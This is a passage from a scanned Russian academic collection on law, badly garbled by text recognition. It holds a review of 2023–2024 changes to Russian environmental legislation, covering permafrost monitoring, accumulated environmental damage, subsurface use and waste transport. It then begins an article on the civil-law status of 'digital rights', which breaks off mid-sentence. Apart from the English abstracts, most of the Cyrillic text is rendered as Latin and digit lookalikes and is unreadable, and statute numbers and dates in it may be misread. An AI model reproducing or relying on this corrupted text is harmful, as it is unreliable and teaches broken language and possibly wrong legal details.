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PA3JIEJI XXII. OPUINYECKHUE HAYKHU

Moxmmna A.FO.
0030p U3MEeHeHHUI IKOJIOTHYeCKOro 3aKoHoAaTeJbCTBA B nepuoa ¢ 2023 no 2024 roawl

beneopoockuii cocyoapcmeennulil HayUOHAIbHBI
uccne0o8amenbCKull yHugepcumen

(Poccust, Beneopoo)
doi: 10.18411/trnio-01-2025-210

Hayunwiti pyxosooumens: Mumsaxuna H.M.

AHHOTAIINA

JlaHHasi cTaThsl MOCBSIILIEHA BOIPOCY 0030pa M3MEHEHHUH POCCUHCKOTO HKOJIOTHYECKOTO
3akoHomarelbcTBa B mepuon ¢ 2023 mo 2024 rom. B xome wucciemoBaHus ObLTH
MIPOAHATM3UPOBAHBI KIIFOUEBBIE HOBOBBEACHHS, KAaCAIOIIUECS OXPaHbl OKPYKAIOIIeH Cpelbl,
PETYIMPOBAHUS TIPUPOJIONIONIE30BAHNS M BHEPEHHSI MEXaHU3MOB KOHTPOJIS 32 SKOJIOTHUSCKUMH
HapymeHusasMu. ChopMyIHpoBaH BBIBOJ 00 OCHOBHBIX HAIPABICHUSIX PaOOThI 3aKOHOIATENS 110
COBEPIICHCTBOBAHHUIO TIPUPOTIOOXPAHHOTO 3aKOHOIATEIIECTRA.

KiroueBble €JI0Ba: SKOJIOTHYECKOE 3aKOHOJATENBCTBO, OXpaHa OKPYKAIOIIEH Cpebl,
JICCOTIOJIB30BaHKE, BOIOIOIB30BAaHIE, HEPOIIOIh30BaHKE, IIPHUPOIONIOIE30BAHHE.

Abstract

This article is devoted to the review of changes in Russian environmental legislation in
the period from 2023 to 2024. The study analyzed key innovations related to environmental
protection, environmental management and the introduction of mechanisms to control
environmental violations. The conclusion is formulated about the main directions of the
legislator's work on improving environmental legislation.

Keywords: environmental legislation, environmental protection, forest management,
water use, subsurface use, nature management.

C suBaps 2023 roma mno xaexkadpp 2024 roga B POCCHIMCKOE 3KOJIOTMUYECKOE
3aKOHOJATEJICTBO OBUIO BHECEHO MHOXECTBO M3MEHEHMH B 00JAaCTH MPUPOIONOIb30BaHUS U
oxpaHbl okpyxatouiei cpensl. Tak, ¢ 1 suBaps 2023 mo nexadpp 2023 roga ObUIO BHECEHO
Oosiee IOJICOTHA U3MEHEHUIA.

3akoHonarenscTBO Poccunm B cdepe oOXpaHBl OKpYKaIOLIeH Cpenbl IMpeTeprieso
3HAQYUTEIIbHBIE U3MEHEHUS, KaCAIOIMECs: MOHUTOPUHIA MHOTOJIETHEN Mep3noThl. DenepabHblii
3akoH Ne 297-@3 ot 10.07.2023 u IlocranoBnenue [lpaButenscrea PO Ne 1831 or 01.11.2023
3aJI0KUJIM OCHOBY JIJISl CO3JIaHUSI TaKOW CUCTeMbl. B 3akoH 00 OoXpaHe OKpYXKaroIiel cpembl
BBEICHbI HOBBIE MOHATHS: «TPYHT», «BEUHOMEP3NbIM TIPYHT», «COCTOSHUE MHOTOJIETHEHN
(Be4HOM) MEp3JI0ThI», «Ierpafalus BEYHOMEP3IOro IpyHTa» U «TOCYIapCTBEHHbIN (HDOHOBBIH
MOHUTOPHMHI COCTOSIHHSI MHOTOJIETHEW (BeuHOM) Mep3noTh». [loacuctemMa rocynapcTBeHHOIO
(OHOBOIO MOHUTOpPHUHIA COCTOSIHMS MHOTOJIETHEH MEp3/IOoThl Ternepb OPULHUAIBHO BXOJUT B
Enunyro cucreMy rocyqapCTBEHHOIO HKOJOTMUECKOIO MOHUTOPHUHIA. OTH HOBOBBEACHUS
HarpaBjeHbl Ha 0ojiee TOYHBIA y4eT W KOHTPOJb COCTOSHHUSI MEP3JOThl U MpeNOTBpalleHHE
HETraTUBHBIX MOCJICACTBUH €€ JIerpalaliu.

3akOH Takke ObUI JONOJHEH IOHATHEM <JIMKBUJAIMSA HAKOIUICHHOIO Bpeza
OKpYXarolllel cpefie», MOJ KOTOPbIM IIOHUMAIOTCS MEPONPHUATHS MO YCTPAaHEHUIO Bpena
OKpYXXaloIlled Cpefie, BO3HMKILETO B pPE3yJlbTaTe IPOLUIOW OSKOHOMMYECKOM U WHON
NESITEILHOCTH, OOS3aHHOCTU TI0 YCTPAHEHHIO KOTOPOTO HE OBLIM BBITIOJIHEHBI JTUOO OBLTH
BBINIOJIHEHBI HE B MOJTHOM oObeMe. Takxke Oblia BBeZieHa HoBas riasa (XIV.1), perynupyromias
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BOIPOCHI, Kacarolluecss NHBEHTApU3alUU U yu€Ta 0ObEKTOB HAKOIJICHHOTO BpeJla OKPYKaroIei
cpene, a TaKkKe JHMKBHIAIMM TaKOTO Bpena. B Hel Takke ObUIH OIMpPEIeNCHBbl MMOJHOMOYUS
OpPraHoOB TOCyIapCTBeHHOM BiacTu Poccuiickoit Deneparmu B chepe OTHOIICHUM, CBSI3aHHBIX C
OXpaHOM OKpYKaromIei cpensl B 1aHHOM chepe. B 3akoH ObUM BHECEHBI M IPYTUE U3MEHEHHUS, B
YaCTH HKOJIOTMUECKON KCIEPTU3bI, OOIIECTBEHHOI'O SKOJIOTMYECKOr0 KOHTpPOJIs, Oblia BBE/IEHA
HOBasi crathsi (cTaThbs 4.4.), peryaupyromas AesTeabHocTh PenepanbHOM TocyaapCTBEHHOU
MH(GOPMAITMOHHON CHUCTEMa COCTOSIHHMS OKpY’Karomed cpeapl U ap. M3MeHeHusiM moaBeprcst
Taloke 3aKOH 00 HKOJIOIMIECKON IKCIIEPTH3E.

B npomutom roay takxke ObUIM YTBEp KII€HBI HOBBIE MPaBHJIa U PYKOBOJICTBA B 00JacTH
oxpaHbl okpyxaromiei cpensl. Hampumep, [Ipukazom ot 17.07.2023 denepanbHas ciayxba mo
Hag30py B cdepe MpHUPOJOIONB30BaHUS yTBepawia PykoBoAcTBO 1O  COOJIOAECHUIO
00s13aTeNbHBIX TPEOOBAHUH, CBI3aHHBIX C TOCYAAPCTBEHHBIM YYE€TOM OOBEKTOB, OKa3bIBAIOIIUX
HEraTMBHOE  BO3JICMCTBME HAa  OKPYKAIOLIYI0 Cpeay, HNOoMIexanmx ¢enepaabHOMy
rOCYAApCTBEHHOMY 3KOJIOTMUYECKOMY KOHTpoito (Haazopy). Taxoke BBoxsarcs IlpaBuia
oOcrieloBaHUsl U OIIEHKH OOBEKTOB HAKOIUIEHHOTO Bpelda oOkpyxkaromied cpexe. I[IpaBumia
yCTaHaBJIUBAIOT MOPSAIOK MIPOBEIEHHs 00CIEI0BaHMsI, a TAKKE OLIEHKH 00BEKTOB HAKOILJIEHHOTO
Bpea.

VikecTodyaeTcsi OTBETCTBEHHOCTD 32 HE3aKOHHYIO 100614y, cOOp 1 060pOoT 0c000 LIEHHBIX
pacteHnii u rpubOB. Tak, BBOAMWTCS YrOJOBHAs OTBETCTBEHHOCTh 3a MpPEeIHAMEPEHHOE
YHUUTOXKEHUE WM TOBPEXKICHUE, a TAKXKE 32 HE3aKOHHYIO J00BIYYy, cOOp M 000poT 0c000
LEHHBIX PACTEHW M TPUOOB, OTHOCAIIUXCS K BHIAM, BKIIOUEHHBIM B KpacHyio KHHTY
Poccuiickoit @enepanmn Wiy 0XpaHIEMbIM MEKIYHAPOIHBIMU COTJIAIIEHUSIMU, TTOIMUCAHHBIMU
Poccuiickoit ®enepaumeit [1]. JlanHas mepa HampaBiieHa Ha 3alIUTy OWOpa3HOOOpa3ust U
COXpaHEHHE DPEIKUX BHJOB, a TAK)KE HA MPENOTBPAILLCHHUE SKOJOTHYECKUX MPECTYIUICHHH,
KOTOpBIE HAHOCAT YILEpO MPUPOJIE U YTPOXKAIOT IKOCHCTEMAM.

B ob6nactu Henpononb3oBanus B 2023 roay ObUT YIpOIIEH MOPSIOK NPEAOCTaBICHUS
MIpaBa MoJIb30BaHUs ydacTkaMu Heap. Tak, 1o konua 2023 roja At HEKOTOPBIX MOIb30BaTEIeH
Heslp ObUT COKpAlleH IMepevyeHb JOKYMEHTOB, KOTOpPbIE HYXKHBI Ul MPEIOCTaBICHUS] TaKOro
npaBa [2]. Taxxke no mnopydenuto IIpesmnenta MunucrepctBoM mpuponbl Poccuiickoit
®deneparmy 3aKOH O Helpax ObLI JIOTIOIHEH TOJIOKEHUEM O TOM, 4To ¢ 1 ceHtsaops 2023 roma
MOJIb30BaThCSl HEPAMHU MOKHO TOJBKO NPHU YCIOBUU BBITIOTHEHHSI MEPOIPUSITHI MO OXpaHe
(opel U payHbI HAa ydacTKax HeJp.

C 1 cenrs6ps 2023 roga B cuily BCTYNMJI TaK Ha3bIBaeMbId «YCOJBCKUI 3akoH» [3].
Hazpanuto 3akoH 00s13aH ropoay Ycombe-Cubupckoe pKyTckoit 00JacTH, Tie pacnosiaraioch
npeanpusitre «Y coapexuMipom». [locie ero 3akpeITHs 00pa30BaIMCh 3HAYUTENLHBIC TUIONIAIN
3arps3HEHHBIX 3€MeNNb M OCTAJIMCh OINACHble MPOU3BOJACTBEHHBbIE OOBEKTHI. JIMKBUmarus
3a0pOIIEHHBIX aKTUBOB B Ycoibe-CHOMPCKOM OCYILECTBISUIACH 32 CYET TOCYIapCTBEHHOTO
¢unancupoBanus. JlaHHBIM 3aKOH HampaBleH Ha pEHIEHHE MPOOJIEMBbl 3KOJIOTMYECKOTO
3arpsi3HEHUS. U BOCCTAHOBJICHUE TOCTPAAABIIMX TEPPUTOPHUI, a TaKkKe Ha NPEeJOTBpaIllEHUE
nmotoOHbIX cutyaruii B Oyaymiem. [To mopydenuto IIpesunenta Poccuiickoit Deneparwin ObIIH
pa3paboTaHbl HOBbIe TpeOOBaHHS B IEIIX MUHMMH3AIMU CIy4acB OCTaBICHUS OECXO3SIMHBIX
WCTOYHUKOB HETaTUBHOTO BO3JCHCTBHUS, MEPEXOASIINX B pa3psl OOBEKTOB HAKOIUIEHHOTO
Bpea, YCTpaHEHHE KOTOPBIX OCYILECTBISIOCH OBl 32 CUET KOHCOJIMIAMPOBAHHOTO OOJDKETa
Poccuiickoit ®enepanuu.

OTO JaleKko He BCE W3MEHEHMs, NPOM3OLIECIIINE B POCCUHCKOM HKOJOTMUYECKOM
3aKOHOZATeIbLCTBE 3a 2023 rom.

Ilepexons k 2024 rony, xorenoch Obl B MEpBYK ouyepenb OTMETHTH [locTaHOBIEHHE
[TpaButenscTBa Poccuiickoit deneparmn

ot 27.04.2024 Ne 550 «O6 yrBepxneHuu I[IpaBuia TpaHCIpaHMYHOIO MEpPEMELICHUS
oTx0m0BY». VM BBOJSTCS HOBBIE MpaBHJIa BBO3a OTXOJOB Ha Tepputopuio Poccuiickoit
@denepany B LENAX UX IKOJIOTMYECKH OE30MAaCHOrO HCIIOIB30BAHUS U BbIBO3a OTXOJOB C €€
TEPPUTOPUH, a TAKKE TPAH3UTA OTXOJIOB M0 €€ TEPPUTOPHUH.
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3akoHONIaTENbCTBO B c(epe OxXpaHbl OKpykarwied cpeasl Poccum mpereprieBaer
MOCTOSIHHBIE HM3MeHeHus. HenaBHue mompaBku B 3aKOH 00 OXpaHE OKpYXAoLIeW Cpelibl
YTOUHWIIA KaTeropuu OOBEKTOB, OKA3bIBAIOIIMX HETaTUBHOE BO3JIEMCTBHE HAa OKPY’KAIOIIYHO
Cpeay M MoJyIeXkallluX rocyJapCTBEHHOMY yueTy [4]. [Ipouenypa yTBepIeHuUs U COrIacoBaHUs
MIPOrpaMM MOBBILIEHUS KOJIOrHYeCcKOr 3(h(PEeKTUBHOCTH Takxe ObUla YCOBEPIIEHCTBOBaHA JJIS
YCHJICHHSI KOHTPOJIA 32 COOJTIOCHNEM 3KOJIOTMYECKUX CTaHIapTOB.

bonee Toro, Ilocranoenenue IIpaBurensctBa PO Ne 512 ot 20.04.2024 r. BHecio
KoppekTHpoBkM B llpaBmiia paccMOTpeHMsT 3afBOK HA  IOJYYEHHE KOMIUIEKCHOTO
9KOJIOrMYecKoro paspemieHus. K cyiiecTByomM OCHOBAaHUSIM sl TIOJIHOTO MJIM YaCTUYHOTO
nepecmotpa paspemienus (. 26 Iloctanosnenust IlpaBurenscta Ne 1386 ot 04.08.2022 r.)
N00aBICHO OOHOBIIEHHWE TPOTPAMMBI TOBBIMIECHHUS] JKOJOTHYECKOH A(P(HEKTUBHOCTH. ITO
CBHUJETENILCTBYET O CTPEMIICHMM TocynapcTBa K Oosee 3(p(eKTHBHOMY M OINEpaTHUBHOMY
pearupoBaHuI0 Ha U3MEHEHUS B OKOJIOTHUECKON CUTYalluH U IeATeTbHOCTH MPEATPHUITHI.

1 mapra 2024 rona BCTYNMIM U3MEHEHHUS B cpepe HEeAPOIOIb30BaHUA. ITH U3MEHEHUS
MO3BOJISIIOT TPEANPUATUSAM TEPEeHTH Ha <«3aMKHYTBIM LUKI» U HM3BJIEKAaTh CTPAaTETHYECKUe
NeQUUUTHBIE TOJIE3HBIE HCKOMAeMble W3 MOJ3EMHBIX BOA. braromaps 4eMy 3HauMTEIBHO
COKpaTATCsl 3aTpaThl HEAPOIONB30BAaTENed MPU M3BICUYEHUH IIEHHBIX KOMIIOHEHTOB U3
noA3eMHBIX BojI. OTpaboTaHHBIE BOABI TENEPh MOXKHO 3aKa4MBaTh OOPATHO B TOPHBIC TUIACTHI B
COOTBETCTBUU C MPOEKTHOM JOKYMEHTAIUEH.

[IpaButenscTBO Poccuiickoit ®eneparu yreepauno [lomoxxkenune o QenepanbHOM
rocynapctBeHHoW uHpopmarmonHoi cucreMe (PI'MC) coctosHUs OKpyX)aromiei cpeasl [S].
[Tonoxenue pernameHTupyet co3nanue, GpyHkimonuposanue u pazpurue OI'MC. B mokymente
COZIEPXKUTCS TIepeveHb BUJOB HH(POpMAIMH, pa3MenaeMoi B TaHHON CHUCTEME, a TaK¥Ke COCTaB
9TOM MH(pOpMaMu. YCTaHaBIUBAlOTCS TpeOoBaHMs K (opme u (opmary e€ pa3MerieHus,
BKJTIOYas crielu(UKalny s SIeKTPOHHON moanucy. Takke OMHUChIBaeTCs OPSIOK U YCIOBUS
pa3merieHust wHGOpMaIK B (efepabHON CHUCTEME, BKIIOYAs CPOKH M TEPHOAWYHOCTH €€
OOHOBJICHUS. YKa3bIBa€TCs MIEpEUCHb MOCTABIIMKOB HHPOPMALIUU 1715 PeepatbHON CUCTEMBI U
MOPSIIOK AOCTYIA K IaHHBIM, cofiepkamumcest B cucreme. Kpome toro, [lonoxkenue perynupyer
MEXBEJOMCTBEHHOE UH(OPMAIIMOHHOE B3aMMOJICHCTBHE, HEo0XoIuMOoe TUIst
(byHKIIMOHUPOBaHUS (heepatbHON CUCTEMBI.

[lpoaHanu3upoBaB W3MEHEHUS, TMPOU3OLIEANINE B POCCHHCKOM  (heaepaTbHOM
9KOJIOTMYECKOM 3aKOHOJATEIbCTBE, OTMETHM, YTO OCHOBHBIM HalpaBJICHHMEM 3aKOHOJATENs B
2023-2024 ropax sIBISETCS OXpaHa OKpYysKaroleil cpeabl. Vi3MeHeHHs B OXpaHe OKpY)Karolien
cpeabl: B 3aKOH 00 0XpaHe OKPYKAaIoILeH cpe/ibl BBEIEHBI HOBbIE MOHATHSI; CO3/1aHa MO/ICUCTEMA
rOCyIapCTBEHHOTO (POHOBOI'O MOHHMTOPHMHIA COCTOSIHUSI MHOTOJIETHEH (BEUHOI) Mep3JoThl, B
®denepanpHbIi 3aK0H «O0 0XpaHe OKPYKAIOIIEH Cpebl» BBEJICHA HOBAS Ii1aBa, PEryIHUpYyIOIIas
MHBEHTApHU3ALMI0 U Y4ET OOBEKTOB HAKOIUIEHHOTO Bpela OKPY)KAIOIIEH cpelie, Onpe/esieHb
MOJTHOMOYHSI OPraHOB IOCYJAapCTBEHHOW BJAacTH B cepe oXpaHbl OKpyXkKaroled cpenbl. bbiiu
yTBEpKICHbI HOBBIC MpaBWia M PYKOBOJICTBA B OOJACTH OXpaHbl OKPYKAIOIIEH Cpemdbl.
W3meHeHnss KOCHYNUCh M JIPYTMX HAmnpaBlIEHUH SKOJIOTMYECKOro 3aKOHOJATEIbCTBA.
Hogenlamu 3akoHOAATENb YCUIIMBAET JUCLIMIUIMHY OXpaHbl OKpYKarolen cpenpl. Llenbro aTux
Mep SBJSIETCS CO3JaHHUE JOMOJIHUTENIbHBIX TapaHTHH Ui JOCTHKEHHs TIJIABHOW 3aJauu
HKOJIOTMYECKOTO 3aKOHO/IAaTeNIbCTBA — 00ECHeUYeHHsI OIaronpHusTHOTO KayecTBa OKpYKaroleH
cpeabl. B Hamiexamem COCTOSIHUM TaKu€ TEPPUTOPUM MOTYT BBIINOJHATH Ba)KHbIC
HKOCHCTEMHBIE (YHKIMH, CIIOCOOCTBYSI COXPAaHEHHIO OHOpa3HOOOpa3usi U IMOAJCPIKAHUIO
9KOJIOTMYECKOro OajaHca.

*k*

1 Kozekc Poccuiickoit @enepauun ot 13.06.1996 Ne 63-®3 Yronosusiid koaeke Poccuiickoit deneparyn //
"Poccwmiickas razera” ot 19.6.1996 .

2. IIpukaz Munnpupoasl Poccun N 571, Pocmenp N 13 ot 05.09.2023 "O HenpuMeHEHMH OTAENBHBIX
N0JIO’KEHUH npuka3oB MuHnpupoasl Poccun u PocHenp 1o Bonpocy NpeAoCTaBiIeHus NIpaBa MOJIb30BaHUs
ydactkamu venp" // CIIC «KoncymprantlIimrocy
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TOCYIapCTBEHHON WH(POPMAITMOHHON CHCTEME COCTOSHUSI OKpYKaroliel cpeaphy (BMecte ¢ "llonokenueM o
(henepanbHOI TOCYIAPCTBEHHOW WH()OPMAIIMOHHON CHUCTEME COCTOSHES OKpyxkatomiei cpemsr") // CIIC
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Heouepunze /.H.
Hexoropsblie npod/eMbl rpakIaHCKO-NPaBOBOH KBaJIH(pukannu nu@poBbIxX npas

Kyb6anckuii 2cocyoapcmeennviil acpapuuiii ynueepcumem um. M. T. Tpyoununa
(Poccus, Kpacrooap)
doi: 10.18411/trnio-01-2025-211

AHHOTAIINA

CraThs NOCBAIICHA aHATKU3Y MPABOBOTO peryaupoBanus udpoBbix npaB B Poccuu, nx
CYIIHOCTH, OCOOCHHOCTSIM U Tpo0JieMaM, BO3HUKAIONINM B PaMKaxX MX TPakKIaHCKO-TIPABOBOM
kBanmukanuu. PaccmarpuBarorcss u3MeHeHusl, BHeCEHHble DenepaibHbIM 3aKkOHOM Ne34-D3
or 18 mapra 2019 roma, U X BIUAHHE HA COBPEMEHHOE PETrYJIMPOBAHHE HMYIIECTBECHHBIX
OTHOIEHUH B LU(poBoil cpene. Ocoboe BHUMAHUE YIEISETCS HEONPEAEIEHHOCTU MOHSTHUS
«(poBbIe TPaBa» W Pa3IUYHBIM IMOJIXOJAM K €ro MHTEpPIpETAld B HAYYHOW JINTEPATYpE.
ABTOp aKLEHTUPYET BHUMaHHE Ha HEOOXOAMMOCTH COBEPILICHCTBOBAHHUS 3aKOHOJATENLCTBA B
JTaHHOW oOyacTu. Pe3ymbraTel WCCIENOBaHUSA JIEMOHCTPUPYIOT HEOOXOAMMOCTH Ooliee
JETATBHOTO perynupoBaHus A 3(GEKTUBHOTO MPUMEHEHHs HOPM O IMQPOBBIX MpaBax B
MIPaBONPUMEHUTEIHHOMN MPAKTHKE.

KaioueBble c1oBa: 11(poBbie MMpaBa, rpakIaHCKOE MPaBo, MPABOBOE PETYIMPOBAHUE,
nudpoBU3anys, IUQPPOBasi IKOHOMHKA, 3aKOHO/IATEIHCTBO, ITPABOBast CUCTEMA, OJIOKUCHH.

Abstract

The article is devoted to the analysis of legal regulation of digital rights in Russia, their
essence, features and problems arising within the framework of their civil law qualification. The
changes introduced by Federal Law No. 34-FZ of March 18, 2019 and their impact on the
modern regulation of property relations in the digital environment are considered. Particular
attention is paid to the uncertainty of the concept of "digital rights" and various approaches to its
interpretation in the scientific literature. The author focuses on the need to improve legislation in
this area. The results of the study demonstrate the need for more detailed regulation for the
effective application of the norms on digital rights in law enforcement practice.

Keywords: digital rights, civil law, legal regulation, digitalization, digital economy,
legislation, legal system, blockchain.

CoBpemMeHHasi dMOXa XapaKTepu3yeTcs CTPEMUTENbHBIM — pa3BUTHEM  LU(GPOBBIX
TEXHOJIOTHH, YTO BJIEYET 3a COOOM M3MEHEHHs B IPABOBOM DPETYIMPOBAHUH OOIIECTBEHHBIX
otHouieHu#. [losiBneHne Takoro oObEKTa MPaBOBOTO PEryIUpOBaHUsA, Kak HU(POBBIEC MpaBa,
00yCIIOBIEHO HEOOXOJUMOCTBIO aIaNTallii TPa)XXTAHCKOTO 3aKOHOAATENbCTBA K HOBOU
peanbHOCTH, Te HUPPOBast SKOHOMHUKA U HHPOPMAIIMOHHBIE CHCTEMbBI UTPAIOT KITIOUEBYIO POJIb.
[Tpunstue ®enepanbHoro 3akoHa oT 18 mapta 2019 rona Ne 34-®3 sBUIOCH BayKHBIM I1IarOM Ha
nyTd K (OPMHUPOBAHUIO COBPEMEHHON TMPaBOBOM 0a3bl, OJHAKO MPaBOIPUMEHUTEIbHAS
MIPAKTUKA JIEMOHCTPUPYET MHOXECTBO TMpPOOJEM, CBSI3aHHBIX C HEONPENeIEHHOCThIO
coJiepkaHus TepMHUHA "II(POBBIC TpaBa’ U MEXaHU3MOB MX peaau3arui [1].
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Hammume MHOXECTBa TOIXOJOB K TPAKTOBKE TOHATUH "mudpoBble mnpaBa" W
"uH(opmanmoHHas cucTteMa" OCIOXKHAET MX TPAXIAHCKO-TIPABOBYIO KBaIU(UKALMIO. OTH
CJIO’)KHOCTH TPEOYIOT HE TOJIBKO TEOPETUUYECKOTO OCMBICIICHHS, HO U IPAKTUYECKOTO PEIICHHs B
BUAE€ JETAIBHOIO M CONNIACOBAHHOI'O HOPMAaTHBHOIO PErYIHMPOBaHMs. AKTyaJlbHOCTh
UCCIIEIOBAHUSL OIpeeNnsieTcss HeoOXOAMMOCThIO aHajiM3a CYHIECTBYIOIIMX IPAaBOBBIX HOPM,
OLEHKM MX COOTBETCTBUS LU(PPOBOM pEAIbHOCTH M Pa3pabOTKH pEeKOMEHIAIMH  UIs
JaJbHENUIIEr0 COBEPUICHCTBOBAHUS 3aKOHOIaTEIbCTRA.

B Konctutymuu Poccuiickoii @enepaiun B cT. 46 3akperuisieTcss IpeaocTaBiICHHE
rOCYAapCcTBOM TapaHTHPOBAHHOIO MpaBa Ha CyAEOHYIO 3alllUTY MpaB M 3aKOHHBIX WHTEPECOB
rpaxnaan [2]. 18 mapra 2019 roga Berynun B cuiny Denepanbhbiii 3akoH Ne34-D3, BHecmmii
3HAUYUTENIbHBbIE W3MEHEHUs B cepy TPakJaHCKUX MPAaBOOTHOIIECHHUM IMyTeM BBEIECHUS HOBOTO
00BEKTa TPABOBOTO PETYIMPOBAHUS — MU(POBBIX IMpaB. 3aKperyieHHe HOPM, KacarolUXcs
IU(POBBIX MPaB, CTAI0 OTBETOM Ha CTPEMUTENBHOE Pa3BUTHE MH()OPMAITMOHHBIX TEXHOJIOTUNA U
¢dopmupoBanue I1H(PPOBON peaTbHOCTH, YTO OOYCIOBHJIO HEOOXOAMMOCTh IepecMoTpa
yCTapeBIINX MPABOBbIX MEXAHU3MOB.

B nmamHoM cnmydae [3] oTmewaeTcs, 4YTO B3aMMOCBS3b ITU(PPOBBIX TIpaB C
MH(POPMALMOHHBIMU CUCTEMaMHU, BKIFOYAIOIIUMH TEXHOJIOTUM OJOKYElHa, MPEACTaBICHHOIO B
BUJIC JICLICHTPAJIM30BAaHHOTO XpaHWIMINA [M(PPOBOH HHPOPMAINK, TOTYEPKUBACT X
WHHOBAIIMOHHYIO TIpupoay. B 3Toi CBsI3u COBEpIICHCTBOBAHUE MPABOBOTO PETYIUPOBAHUS B
M(poBOM cpesie BHICTYMAET OJHOM W3 MEPBOOUYEPETHBIX 3a/a4 COBPEMEHHOM TIpa’KIaHCKO-
MPaBOBOIl HAYKH.

[TonsiTue «audpoBbIe MpaBay, BbI3bIBasi MHOTOYHCIICHHBIE CITOPHI CPEN CICIMATUCTOB,
HE UMEET eAMHOTo Moaxoaa K TpaktoBke. Hanpumep, C.B. Capbainr yrBepxkIaeT, 4to nuppoBbie
mpaBa — 3T0 He Oosee yeM ropuauueckas ¢ukius, B To BpeMs kak M.A. Poxxkosa
XapakTepu3yeT MX KaK CYObEKTHUBHBIE TPaXKIAHCKHE IpaBa, 3aKPEIJICHHbIE B AJIEKTPOHHOMN
dopme. [IpOTHBONIONOKHYIO TOYKY 3pCHHS BBICKAa3biBaeT A. DBBIUKOB, IOTYEpKUBAs
BO3MOXXHOCTh ~ OTUYXKICHHS U TepexojJa TaKux TMpaB. B  ycloBUSIX  OTCYTCTBUS
YHU(HUIMPOBAHHOTO TIOHMMAaHMSI TEPMHHA «MH(POPMAIMOHHAS CHUCTEMay, HCIOIb3YEeMOro B
HOPMATUBHBIX aKTaxX Uil OMNpENeNIeHHs MeXaHu3Ma (QYHKIMOHUPOBAHUS HUQPPOBBIX TMpaB,
BO3HHUKAIOT TPYJHOCTH C UX TPaKIAHCKO-TIPaBOBOM kBanupukanueil. Hampumep, @enepanbHblii
3akoH Nel49-03 TpakTyeT MH()OPMALMOHHYIO CHUCTEMY KaK COBOKYIHOCTb TEXHOJOTMH H
TEXHHYECKUX CPENCTB JUIA 00pabOTKM WH(pOpMAIHMM, TOTAAa KaK MEXKIYHAPOAHBIA CTaHIapT
ISO/IEC 2382-1 BritOUAET B 3TO MOHATHE TAK)KE YETOBCUCCKUE U OPraHU3AIMOHHBIC PECYPCHI.
Takoe pa3zHOOOpa3ue ompenesieHuil MOPOKIAAET HEONPEACTIEHHOCTh, MPEMSITCTBYIONIYIO SICHOM
MHTEPIPETALUH CYIIIHOCTH 1M (POBBIX IpaB.

3akperuienne 1mMdpoBbix npaB B crathe 141.1 TK P® ompemenser ux kak
0053aTENIbCTBEHHBIE W WHBIE TMPaBa, COJCPKAHUE M TOPSIOK OCYIIECTBICHHS KOTOPBIX
pETJIAaMEHTHUPYIOTCS. TpaBWJIAMH  COOTBETCTBYIOIIEH HMH(MOPMAIIMOHHOW CHCTEMBL.  JTO
MOJIOKEHUE TIPEIoaraeT, YTo HMYILIECTBEHHBbIE MpaBa MOTYT ObITh MaTepUaIM30BaHbl B
AJIEKTPOHHOM BHJIE MOCPEICTBOM KoJa WM o0o3HaueHus. OIHAKO Takas XapaKTepHCTHKa He
MO3BOJISIET IPUUUCIIUTH HU(POBBIE MpaBa K COBEPIIEHHO HOBOMY By UMYIIIECTBEHHBIX IPaB, a
CBUJICTEIBCTBYET JIMIIL 00 WX IudpoBor ¢ukcanuu. Takum oOpazoMm, mudpoBbIe TpaBa
SIBJISIFOTCS Pa3HOBUIHOCTBHIO UMYIIIECTBEHHBIX IpaB B cOOTBETCTBUM co craThell 128 'K P®D, uto
MPUBOIUT K BO3MOYKHOMY CMEIICHUIO IIPABOBBIX PEXHMOB U HEOOXOJUMOCTH YETKOIO
pasrpaHu4eHus] UX OCOOEHHOCTEH.

3aKkoHOJaTeINb, 3aKPEIUIssl HOPMBI O IM(POBBIX MpaBax, He MPETYCMOTPEN ONMCAHUE UX
VHIMBUAYAJIbHBIX XapaKTepPUCTHK M MPUHIMIIOB 3alUThL. boiee Toro, HeompeneneHHOCTh B
YaCTH TEXHOJOIMYECKUX OCOOCHHOCTEH MH(POPMAIIMOHHBIX CHCTEM, HCIOIb3YEMbIX JUIs
¢buKcamy 1 peanm3anyu MQPOBBIX MPaB, MOPOKAAET PUCKH 3T0ynoTpediaeHuii. OTcyTcTBHEe
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YETKOr0 MeXaHu3Ma KOHTPOJIs HaJl (PYHKIIMOHUPOBAHUEM TaKUX CHCTEM CO3/aeT Yrpo3y cOoeB,
OLIMOOK M HECAaHKIIMOHUPOBAHHBIX JICHCTBUIA.

[IpoTuBOpeune B (QOpMyIHMPOBKAaX 3aKOHA YCYTyOJsleTCsl IOJIOKEHHEM O TOM, YTO
OCYIIECTBJICHHE U paclopsDKeHHE HU(PPOBBIMU MPaBaMU BO3MOXKHO MCKITIOUHUTEIBHO B PaMKax
MH(POPMALIMOHHONW CUCTeMBl 0e3 y4yacTusi TpeThbuxX Jinl. OJHAKO Ha MpPaKTHKE OOpalleHue K
TaKUM JIUIIaM, HalpuMep pPEerucTpaTtopaM peecTpoB, sBIseTcss HeoOxoaumbeiM. Kpome Toro,
CXOJICTBO MEXIy IM(POBHIMM TpaBaMH U O€310KyMEHTAapHbIMHM IIEHHBIMU OyMaramu,
npenycMorpeHHbiMu ctaTheld 142 'K P®, ykas3biBaeT Ha BO3MOXHOCTb HMX NPUpPaBHUBAHUS,
XOTsl 3aKOHOJATeNb BBIAENSAET IUQPpPOBbIE TpaBa B OTHACNIbHBIA OOBEKT MPAaBOBOIO
pEryaupOBaHusl.

®opmynupoBka crateu 141.1 'K P® ocraBiser OTKpPBITBIM BOIPOC O NEPEYHE BUIOB
U(POBBIX MpaB, YTO TEOPETUYECKU JOMYyCKaeT UX MHoroooOpasue. OIHAKO B psje CilydyaeB
(enepabHbIe 3aKOHBI BBOJAT OrPaHHUYEHUS, YTO MPENSATCTBYET APPEKTUBHOMN peann3aiiy 3TUX
npaB. Hanpumep, B cdepe 11dppoBbIX (GUHAHCOBBIX aKTUBOB WM KpayA(aHIUHTa OTCYTCTBYIOT
IOPUANYECKUE MEXAaHU3MBI, CIOCOOCTBYIOLINE UX 3AIIUTE U PErYIUPOBAHHIO.

Hcxons U3 mepeyrciIeHHbIX Mpo0ieM, MOXKHO 3aKIIOUUTh, YTO Pa3BUTHE LU(PPOBBIX
npaB TpeOyeT 0oJiee 1eTaIbHOIO M COITIACOBAHHOIO 3aKOHOIATENBHOIO 110/1X0/1a. Bo3morkHO, nx
3aKpeIUICHHUE B OTAEIBHOM (e/iepabHOM 3aKOHE WM OTPACcIeBOM KOJEKCE MO3BOJIMT YCTPAHUTD
CYIIIECTBYIOIIIME TPOTHUBOpeuns. TeM He MeHee, BHeceHHbIe 18 mapra 2019 roma HOpMBEL,
